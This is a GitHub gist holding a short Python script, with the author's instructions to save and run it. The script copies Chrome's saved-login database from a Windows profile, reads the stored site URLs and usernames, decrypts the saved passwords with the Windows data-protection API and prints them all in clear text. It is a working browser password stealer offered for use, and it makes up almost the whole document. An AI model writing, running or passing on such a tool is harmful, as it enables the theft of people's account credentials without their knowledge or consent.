Last active
April 28, 2017 09:51
-
-
Save MITsVision/a34b8ae54448f028cf830a9c26dddb5b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import sqlite3 | |
import win32crypt | |
import sys | |
import shutil | |
file_path= "C:/Users/User_name/AppData/Local/Google/Chrome/User Data/Profile 3/Login Data" | |
shutil.copy(file_path, "path_to_current_directory") | |
# Connect to the Database | |
try: | |
conn = sqlite3.connect("Login Data") | |
cursor = conn.cursor() | |
except Exception as e: | |
print ('[-] %s' % (e) ) | |
sys.exit(1) | |
# Get the results | |
try: | |
cursor.execute('SELECT action_url, username_value, password_value FROM logins') | |
except Exception as e: | |
print( '[-] %s' % (e)) | |
sys.exit(1) | |
data = cursor.fetchall() | |
if len(data) > 0: | |
for result in data: | |
# Decrypt the Password | |
try: | |
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] | |
except Exception as e: | |
print( '[-] %s' % (e)) | |
pass | |
if password: | |
print ("[+] URL: %s Username: %s Password: %s" %(result[0], result[1], password)) | |
else: | |
print ('[-] No results returned from query') | |
sys.exit(0) |
Author
MITsVision
commented
Apr 28, 2017
- Just save the file with .py extension and update the path details in the code
- Run code as python filename.py
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment